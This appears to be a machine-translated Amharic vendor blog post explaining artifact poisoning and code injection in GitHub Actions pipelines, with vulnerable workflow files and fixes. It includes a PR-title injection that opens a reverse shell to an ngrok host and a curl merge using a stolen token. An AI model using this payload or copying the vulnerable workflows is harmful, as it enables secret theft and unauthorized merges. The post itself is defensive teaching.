ሲአይዲ-Pipelines

ወደ ውስጥ ጥልቅ ዘልቆ መግባት CI/CD Pipelineተጋላጭነቶች (III): የቅርስ መርዝ እና የኮድ መርፌ

በቀደሙት ልጥፎች ላይ (ይመልከቱ) በተዘዋዋሪ የተመረዘ Pipeline የአፈጻጸም I-PPE ና የተመረዘ Pipeline የPPE አፈፃፀም ፣ በመሠረቱ ከPPE ጋር ተገናኝተናል (የተመረዘ) Pipeline አፈጻጸሙ): እንዴት እንደሚሰራ፣ ውጤቶቹን፣ አንዳንድ ብዝበዛዎችን እንዲሁም ከእሱ ለመከላከል የሚያስችሉ አንዳንድ መንገዶችን አይተናል። 

ይህ ጽሑፍ ወደ ሌላ ጥልቅ መረጃ ይዳስሳል CI/CD pipeline እንደ አርቲፋክት መርዝ እና ኮድ ኢንጀክሽን ያሉ ተጋላጭነቶች። 

ይህንን ለማድረግ፣ በሆነ መንገድ በPPE ላይ እንመሰርታለን፣ ስለዚህ ስለ PPE ያየነውን በአጭሩ እናጠቃልል።

ቀደም ሲል በPPE ላይ የተከናወኑ ስራዎች

ለማጠቃለል፣ በመሠረታዊ GitHub ጀምረናል pipeline የተበረከተውን ኮድ በ በኩል ለመገንባት እና ለመሞከር pull requestበተጨማሪም፣ ከተሟላ ኮዱን ወደ ዋናው ቅርንጫፍ የሚያዋህዱ አንዳንድ ቼኮችን ይገልጻል። ይህንንም እንደ መግለጫ #1.

CI/CD-Pipelines

በቀደመው ጽሑፋችን፣ ይህ መሰረታዊ ነገር እንዴት እንደሆነ አሳይተናል pipeline ነበር ለሁለቱም ለ D-PPE እና ለ I-PPE ተጋላጭ ነው.

ማድረግ ችለናል ዲ-ፒፒኢን አስተካክል by የቀስቅሴውን ክስተት መቀየር ከ pull_request ወደ pull_request_targetበመፍጠር pipeline ለ D-PPE ደህንነቱ የተጠበቀእንደ ማሳሰቢያ፣ pipelineበ pull_request_target ክስተት ላይ የተነቃቃው s መሰረቱን ያስፈጽማል pipeline ኮድ፣ አይደለም pipeline በ ውስጥ የተካተተው ኮድ pull request. 

ይህንንም እንዲህ ብለን ሰይመነዋል መግለጫ #2.

CI/CD-Pipelines-ተጋላጭነት-ሁኔታ-2

በዚህ ማሻሻያ ምክንያት፣ ይህንን አሳይተናል ሁኔታ #2 አሁንም ለ I-PPE ተጋላጭ ነበር. 

ለማስተካከል፣ ወሰንን ለመከፋፈል pipeline ወደ ሁለት፦

  • The 1st pipeline (ሲአይ ይገንቡ) ይሆናል የ PR ኮዱን ይመልከቱ (ለመገንባት)፣ ግንባታውን ሠሩ እና ቅርስ ፈጠሩ።
  • 2nd pipeline (የሙከራ CI) ይሆናል የመሠረት ኮዱን ያረጋግጡ (የሼል ስክሪፕት ማሻሻያን ለማስቀረት) እና የመጀመሪያዎቹን ስክሪፕቶች ከቅርስ ጋር ያሂዱ። 
  • የሙከራ CIን ለማመሳሰል pipeline ከግንባታ CI በኋላ ለማስኬድ pipeline, እኛ እንጠቀማለን የስራ ፍሰት_ሩጫ ቀስቅሴ 

ይህንንም እንዲህ ብለን ሰይመነዋል መግለጫ #3.

CI/CD-Pipelines-ተጋላጭነት-ሁኔታ-3

የሁለቱንም ኮድ እንመልሰው pipelineበእነዚህ ማሻሻያዎች መሠረት…

1st pipeline (CI ይገንቡ):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (የሙከራ CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

የቅርስ መርዝ

ከላይ በተጠቀሰው መሠረት CI/CD pipelines:

  • pipeline ሲአይ ይገንቡ is አስተማማኝ ለሁለቱም ዲ-ፒፒኢ (በ ... ምክንያት pull_request_target) እና አይ-ፒፒኢ (ምክንያቱም የሼል ስክሪፕትን ከአሁን በኋላ አያስኬድም)።
  • pipeline የሙከራ CI ደግሞ አስተማማኝ ለሁለቱም ዲ-ፒፒኢ (በ ... ምክንያት የስራ ፍሰት_ሩጫ) እና አይ-ፒፒኢ (ምክንያቱም የመጀመሪያውን የሼል ስክሪፕት ለማግኘት መሰረታዊ ኮዱን ስለሚፈትሽ) 

ይህንን "መፍትሄ" በጥልቀት እንመርምር።

Pipeline የሙከራ CI ቅርሱን እንደ ዚፕ ፋይል ያወርዳል።

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

አንዴ ዚፕ ከተከፈተ በኋላ "አስተማማኝ" የሼል ስክሪፕትን ያስፈጽማል። "አስተማማኝ" የሼል ስክሪፕት ለምን እላለሁ? ምክንያቱም ቀደም ሲል በተደረገ ደረጃ pipeline "መሰረታዊ" ኮዱን ይፈትሻል፣ ስለዚህ የመጀመሪያው ስክሪፕት በስራ ቦታ አቃፊ ውስጥ እንዲቀመጥ። ስለዚህ፣ pipeline ቀደም ሲል የወረደውን ሁለትዮሽ በመጠቀም የሚሄደውን የሼል ስክሪፕት ያስፈጽማል።

እንግዲህ፣ ምንድን ነው? ችግር በዚህ አቀራረብ? ችግሩ የሚመጣው ማንኛውም ተጠቃሚ አዲስ "ሲፈጥር" pipeline. 

አንድ ተጠቃሚ አዲስ የህዝብ ግንኙነት (PR) የያዘ ከሆነ pipelineጊትቡክ ያንን ያስፈጽማል pipeline  (ቀደም ሲል እንዳየነው አንዳንድ ሁኔታዎችን ከግምት ውስጥ በማስገባት) ልጥፍ).

ይህንን ከግምት ውስጥ በማስገባት፣ ተጠቃሚው አዲስ ቢፈጥርስ? pipeline ከBuild CI ጋር ተመሳሳይ ስም ያለው? አዎ፣ ይገርማል ግን GitHub ሁለት ለመፍጠር ያስችልዎታል pipelineዎች በተመሳሳይ ስም!!

የሙከራ CI ከግንባታ CI በኋላ እንደሚተገበር ያስታውሱ…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

የሚገርመው ነገር፣ ምክንያቱም አሁን ሁለት ናቸው pipelineተመሳሳይ ስም ያላቸው፣ pipeline የሙከራ CI ሁለት ጊዜ ይፈጸማል: ከመጀመሪያው በኋላ አንድ pipeline እና ከ"አዲሱ" በኋላ ሌሎች pipeline.

ጠላፊው ይህንን እንዴት ሊጠቀምበት ይችላል? 

  • በመጀመሪያ፣ ተንኮል አዘል ተጠቃሚው ምስጢሩን ወደ ጠላፊ ቁጥጥር የሚደረግበት አገልጋይ ለመላክ የሼል ስክሪፕትን ማሻሻል ይችላል።
  • በሁለተኛ ደረጃ፣ አዲሱ pipeline የተሻሻለውን የሼል ስክሪፕት ወደ ቅርሱ ለመቅዳት መስመር ያካትታል → አርቲፋን መመረዝሲቲ!!!

ተጠቃሚው እነዚህን ለውጦች በማድረግ የህዝብ ግንኙነት (PR) ሲከፍት፣ “አዲሱ” pipeline ይፈጸማል (የተመረዘ ቅርስ በመስቀል ላይ) እና የDeploy CI pipeline ከዚያ በኋላ ተግባራዊ ይሆናል፣ በዚህም ምክንያት "የተሻሻለው" የሼል ስክሪፕት በ"ኦርጅናል" የሼል ስክሪፕት ላይ ይተካዋል pipeline የሥራ ቦታ.

CI/CD-Pipelineተጋላጭነቶች

ይህ ነው የምንለው የቅርስ መርዝ, ማለትም የመቀየር (የመሰረቅ) ችሎታ pipeline ሎጂክ በማሻሻል pipeline ሰው ሰራሽ. 

አንድ የሚቻል ማስተካከያ በጣም ቀላል ነው፡- ቅርሱን ወደ የስራ ቦታ ንዑስ አቃፊ መክፈት ብቻ የ"ቤዝ" ሼል ስክሪፕትን ከመተካት ይቆጠባል. 

የኮድ መርፌ

ከቅሪተ አካል መመረዝ በተጨማሪ፣ ከላይ ባለው ኮድ ውስጥ ሌላ ተጋላጭነት ማየት ይችላሉ?

እንሂድ!!

በኮዱ ውስጥ እንደሚታየው፣ pipeline ግንባታ CI የሁለትዮሽ (biner) ግንባታን ይገነባል፣ የሁለትዮሽ (biner) እንደ pipeline ቅርስ እና ከዚህም በተጨማሪ ጥቂት ተጨማሪ መረጃዎችን ይሰቅላል፡ የPR ርዕስ እና የPR መታወቂያ።

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

ለምን? ምክንያቱም ከዚህ በታች እንደሚታየው የህዝብ ግንኙነትን (PR) ለማዋሃድ፣ የሙከራ CI pipeline የ PR ን የሚያዋህደውን የ GitHub REST API ለመጥራት የ PR መታወቂያ ይፈልጋል። 

የሙከራ CI እንዴት ነው? pipeline ያንን የህዝብ ግንኙነት መታወቂያ ያግኙ? በጽሑፍ ፋይሎች ውስጥ መረጃን ማጋራት (የአንድ አካል) pipeline ቅርስ) መረጃን በመካከላቸው ለማጋራት የተለመደ መንገድ ነው። pipelineእና እነዚህ በትክክል የሚሉት ያ ነው pipelineእያደረጉ ነው።

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

እውነቱን ለመናገር፣ የህዝብ ግንኙነትን ለማዋሃድ የህዝብ ግንኙነት መታወቂያ ብቻ ያስፈልጋል፣ ነገር ግን pipeline አስተዳዳሪው የቢልድ CI የህዝብ ግንኙነት ርዕስን እንዲያካትት ወስኗል ስለዚህ የቴስት CI pipeline የPR መታወቂያውን እና ርዕሱን የያዘውን የተወሰነ የመረጃ መልእክት ያትማል።

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

የህዝብ ግንኙነት ርዕስ ሁልጊዜ ከተጠቃሚው የሚመጣ ውሂብ ነው፣ እና በዚህም ምክንያት፣ ሁልጊዜ እንደ እምነት የማይጣልበት ተደርጎ መታየት አለበት።. ስለዚህ pipeline እንደዚያው እርምጃ መውሰድ እና የመከላከያ እርምጃዎችን መውሰድ አለበት።

ከላይ ባለው ኮድ ውስጥ፣ የPR ርዕስን የሚያስተጋባውን የተወሰነ መልእክት ማየት እንችላለን። የ"echo" የሊኑክስ ትዕዛዝ ብቻ ነው።

በሕብረቁምፊ ኢንተርፖሌሽን በኩል፣ ርዕሱ “አስመሳይ ርዕስ” ከሆነ፣ ጊቱብ በውስጥ ውስጥ የያዘ ስክሪፕት ያመነጫል

				
					echo ""a dummy title""
				
			

ግን፣ የህዝብ ግንኙነት ርዕስ እንደዚህ ያለ ነገር ቢሆንስ?

ተንኮል አዘል ርዕስ" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

ስክሪፕቱ የሚሆነው፦

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

በጠላፊዎች ቁጥጥር ስር ባለው አገልጋይ ላይ የተገላቢጦሽ ቅርፊት እንዲከፈት ምክንያት ሆኗል።

CI/CD-Pipelines

ያ የተገላቢጦሽ ቅርፊት ለመድረስ ሊያገለግል ይችላል pipeline ሚስጥሮች (Test CI በ phrase_run ስለሚቀሰቀስ ወደ ሚስጥሮች መዳረሻ ስላለው በልዩ መብት ሁነታ ላይ እየሰራ መሆኑን ያስታውሱ)።

ግን፣ በዚያ የተገላቢጦሽ ቅርፊት በኩል ሌላ ምን ሊደረግ ይችላል? 

የCI ሙከራ ኮድን ይመልከቱ፡

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

በ Test CI ውስጥ እንደሚታየው pipelineየከርል ውህደት ትዕዛዙ GITHUB_PATን (እንደ pipeline env var)፣ ስለዚህ ሯጩ GITHUB_PATን እንደ የአካባቢ ተለዋዋጭ ይዟል። ከዚህም በላይ፣ የPR መታወቂያውን የሚያነብ env var ይፈጥራል። 

ስለዚህ ጠላፊው የኩርባ ትዕዛዙን መቅዳት እና በተገላቢጦሽ ቅርፊት ውስጥ መለጠፍ ብቻ ነው የሚያስፈልገው፣ PR ን በቀጥታ ወደተጠበቀው ቅርንጫፍ ማዋሃድ።

የኮድ መርፌ

ይህንን ሁሉ ለመከላከል፦

  • ለ አስወግድ የሕብረቁምፊ ኢንተርፖሌሽን ከማይታመን ውሂብ ጋር (ለዚህ ተጋላጭ ነው) የኮድ መርፌ) በ ፍቺ pipeline ኤንቪ ቫርስ በቀጥታ በ echo ትዕዛዞች ውስጥ ከመጠቀም ይልቅ

ከመጠቀም ይልቅ፦

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

ይህንን ይጠቀሙ፦

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • የኮድ ኢንጀክሽን ኤፕሎፕተር ቢኖርም እንኳ፣ በትክክል ቢያደርጉት ኖሮ የከርል ሜጀር ትዕዛዙ አይሳካም ነበር የእርስዎን ጠብቋል pull requests በአንዳንድ አስገዳጅ ግምገማ ወይም ማፅደቂያ በኩል. 

ታሰላስል

በሆነ መንገድ መከላከል ከባድ ነው CI/CD pipelines ውቅር እና ያግኙ pipelineከድክመቶች የጸዳ ነው።

ይህ ማለት ግን አይደለም። CI/CD ስርዓቶች (በዚህ ጉዳይ ላይ እንደ GitHub) በራሳቸው ተጋላጭ ናቸው። CI/CD ስርዓቶች ከድክመቶች ለመጠበቅ መንገዶችን ይሰጣሉ… ነገር ግን እነዚያን ጥበቃዎች ተግባራዊ ማድረግ የአስተዳዳሪው ኃላፊነት ነው።

ግን ... አንድን ተጋላጭነት መኖሩን እስካላወቅክ ድረስ መፍታት አትችልም!!!

በእርግጥ ከፍተኛ ችሎታ ያለው የዴቮፕስ አስተዳዳሪ እነዚህን ሁሉ ስጋቶች በአእምሮው ይዞ በአግባቡ ሊጠብቅ ይችላል CI/CD pipelineዎች፣ ግን ቢሆንም፣ እነዚህን ሁሉ ተጋላጭነቶች ለመለየት አንድን ምርት መጠቀም በጣም ጠቃሚ ነው። እና በእርግጥ ይህንን የተጋላጭነት ማቆያ ሂደት በራስ-ሰር ማድረግ (ለምሳሌ፣ ቅኝቱን እንደ አካል ማስኬድ) CI/CD pipelines).

ይህ አካሄድ "" ተብሎ ሊጠራ ይችላልየደህንነት በር”፡ 

  • አዲስ ፍጠር pipeline (የደህንነት በር) ለማጣራት CI/CD pipelineተጋላጭነቶችን እና ሌላኛውን CI ማድረግ pipelineየደህንነት በር በተሳካ ሁኔታ ሲጠናቀቅ ብቻ ተግባራዊ ማድረግ pipeline.
  • የደህንነት በር pipelineኤስ ይፈትሻል CI/CD pipelineተጋላጭነቶች እና፣ 
    • ቩልኖች ከተገኙ ይወድቃሉ፤ ስለዚህም ሌላኛው pipelineዎች አይፈጸሙም። 
    • ምንም አይነት ዊሎች ካልተገኙ፣ pipeline ይሳካል እና ሌላኛው pipelineኤስ እንደተለመደው ይፈጸማል።
CI/CD- ደህንነት

የተመረዘ Pipeline አፈፃፀም (PPE)

ወደ ውስጥ ጥልቅ ዘልቆ መግባት CI/CD Pipelineተጋላጭነቶች (I)

በተዘዋዋሪ የተመረዘ Pipeline አፈፃፀም (I-PPE)

ወደ ውስጥ ጥልቅ ዘልቆ መግባት CI/CD Pipelineተጋላጭነቶች (II)

በሶፍትዌር ማረጋገጫዎች አማካኝነት ከቅርስ መርዝ መከላከል

ወደ ውስጥ ጥልቅ ዘልቆ መግባት CI/CD Pipelineተጋላጭነቶች (IV)
sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌርዎን ልማት እና አቅርቦት ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር